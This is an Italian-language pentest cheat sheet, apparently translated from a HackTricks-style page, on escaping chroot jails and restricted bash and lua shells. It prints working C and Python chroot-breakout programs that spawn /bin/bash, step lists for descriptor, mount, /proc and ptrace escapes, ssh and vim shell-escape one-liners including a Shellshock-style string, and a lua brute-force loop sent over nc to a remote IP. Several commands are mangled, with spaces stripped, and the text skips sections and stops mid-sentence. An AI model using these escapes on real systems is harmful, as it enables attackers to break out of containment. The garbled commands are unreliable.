Da wikipedia: Il meccanismo chroot non è destinato a difendere contro manomissioni intenzionali da parte di utenti privilegiati (root). Su la maggior parte dei sistemi, i contesti chroot non si sovrappongono correttamente e i programmi chrooted con privilegi sufficienti possono eseguire un secondo chroot per uscire.
Di solito questo significa che per uscire devi essere root all'interno del chroot.
Il toolchw00t è stato creato per abusare dei seguenti scenari e scappare da chroot.
Root + CWD
Se sei root all'interno di un chroot puoi uscire creando un altro chroot. Questo perché 2 chroot non possono coesistere (in Linux), quindi se crei una cartella e poi crei un nuovo chroot su quella nuova cartella essendo fuori di essa, ora sarai fuori dal nuovo chroot e quindi sarai nel FS.
Questo si verifica perché di solito chroot NON sposta la tua directory di lavoro in quella indicata, quindi puoi creare un chroot ma essere fuori di esso.
Di solito non troverai il binario chroot all'interno di una prigione chroot, ma potresti compilare, caricare ed eseguire un binario:
C: break_chroot.c
```c #include #include #include
//gcc break_chroot.c -o break_chroot
int main(void) { mkdir("chroot-dir", 0755); chroot("chroot-dir"); for(int i = 0; i < 1000; i++) { chdir(".."); } chroot("."); system("/bin/bash"); }
</details>
<details>
<summary>Python</summary>
```python
#!/usr/bin/python
import os
os.mkdir("chroot-dir")
os.chroot("chroot-dir")
for i in range(1000):
os.chdir("..")
os.chroot(".")
os.system("/bin/bash")
Questo è simile al caso precedente, ma in questo caso l'attaccante memorizza un descrittore di file nella directory corrente e poi crea il chroot in una nuova cartella. Infine, poiché ha accesso a quel FDfuori dal chroot, vi accede e escapa.
</details>
### Root + Fork + UDS (Unix Domain Sockets)
<div data-gb-custom-block data-tag="hint" data-style='warning'>
FD può essere passato attraverso Unix Domain Sockets, quindi:
* Crea un processo figlio (fork)
* Crea UDS in modo che il genitore e il figlio possano comunicare
* Esegui chroot nel processo figlio in una cartella diversa
* Nel processo genitore, crea un FD di una cartella che si trova al di fuori del nuovo chroot del processo figlio
* Passa a quel processo figlio quell'FD utilizzando l'UDS
* Il processo figlio cambia directory in quell'FD, e poiché è al di fuori del suo chroot, sfuggirà alla prigione
</div>
### Root + Mount
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Montare il dispositivo root (/) in una directory all'interno del chroot
* Chroot in quella directory
Questo è possibile in Linux
</div>
### Root + /proc
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Montare procfs in una directory all'interno del chroot (se non è già stato fatto)
* Cerca un pid che ha un'entrata root/cwd diversa, come: /proc/1/root
* Chroot in quella voce
</div>
### Root(?) + Fork
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Crea un Fork (processo figlio) e chroot in una cartella diversa più in profondità nel FS e CD su di essa
* Dal processo genitore, sposta la cartella in cui si trova il processo figlio in una cartella precedente al chroot dei figli
* Questo processo figlio si troverà al di fuori del chroot
</div>
### ptrace
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Tempo fa gli utenti potevano eseguire il debug dei propri processi da un processo di se stessi... ma questo non è più possibile per impostazione predefinita
* Comunque, se è possibile, potresti ptrace in un processo ed eseguire un shellcode al suo interno ([vedi questo esempio](linux-capabilities.md#cap\_sys\_ptrace)).
</div>
## Bash Jails
### Enumeration
Ottieni informazioni sulla prigione:
```bash
echo $SHELL
echo $PATH
env
export
pwd
Modifica PATH
Controlla se puoi modificare la variabile di ambiente PATH
echo $PATH #See the path of the executables that you can usePATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin#Try to change the pathecho/home/*#List directory
Usare vim
:setshell=/bin/sh:shell
Crea script
Controlla se puoi creare un file eseguibile con /bin/bash come contenuto
red/bin/bash> w wx/path #Write /bin/bash in a writable and executable path
Ottieni bash da SSH
Se stai accedendo tramite ssh, puoi usare questo trucco per eseguire una shell bash:
ssh-tuser@<IP>bash# Get directly an interactive shellsshuser@<IP>-t"bash --noprofile -i"sshuser@<IP>-t"() { :; }; sh -i "
Nota che ogni volta che esegui la riga di comando precedente in un ambiente lua diverso, l'ordine delle funzioni cambia. Pertanto, se hai bisogno di eseguire una funzione specifica, puoi eseguire un attacco di forza bruta caricando diversi ambienti lua e chiamando la prima funzione della libreria:
#In this scenario you could BF the victim that is generating a new lua environment#for every interaction with the following line and when you are lucky#the char function is going to be executedfor k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end#This attack from a CTF can be used to try to chain the function execute from "os" library#and "char" from string library, and the use both to execute a commandfor i inseq1000; doecho"for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end"|nc10.10.10.1010006|grep-A5"Code: char"; done
Ottieni una shell lua interattiva: Se sei all'interno di una shell lua limitata, puoi ottenere una nuova shell lua (e sperabilmente illimitata) chiamando:
